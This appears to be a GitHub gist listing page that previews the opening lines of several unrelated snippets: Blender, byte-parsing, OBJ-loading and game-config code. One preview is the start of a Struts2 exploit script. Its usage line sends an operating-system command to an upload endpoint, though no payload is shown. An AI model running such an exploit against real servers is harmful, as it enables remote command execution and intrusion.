This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import bpy | |
import bmesh | |
import itertools | |
# Usage, assign material slots to each unique coplanar plane in each convex hull of the mesh (leaving the first material slot for unassigned faces) | |
obj = bpy.data.objects['Model'] | |
me = obj.data | |
vertices = me.vertices |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import os | |
def nybble_to_int(str): | |
return int(str.replace('$', ''), 16) | |
def byte_to_int(pair): | |
hi = nybble_to_int(pair[1]) | |
lo = nybble_to_int(pair[0]) | |
return (hi << 8) + lo |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MyVertex* parseObjFile(const char* file, int* faces, int* lines) { | |
FILE* fp = NULL; | |
errno_t ferr = fopen_s(&fp, file, "r"); | |
fseek(fp, 0, SEEK_END); | |
long size = ftell(fp); | |
fseek(fp, 0, SEEK_SET); | |
char* buffer = (char*)malloc(size + 1); | |
fread(buffer, 1, size, fp); | |
buffer[size] = '\0'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Example usage: | |
# python struts.py http://localhost:8080/struts2-showcase/fileupload/upload.action "dir /p" | |
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
#import urllib2 | |
import urllib.request | |
import http.client as httplib | |
def exploit(url, cmd): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"gold": { | |
"amount_owned": 0, | |
"gold_text": "My Lord, your people adore your might and generosity. Empower your kingdom by purchasing gold below!", | |
"order": [ | |
"38484498802", | |
"38484498803", | |
"38484498804", | |
"38484498805", | |
"38484498806", |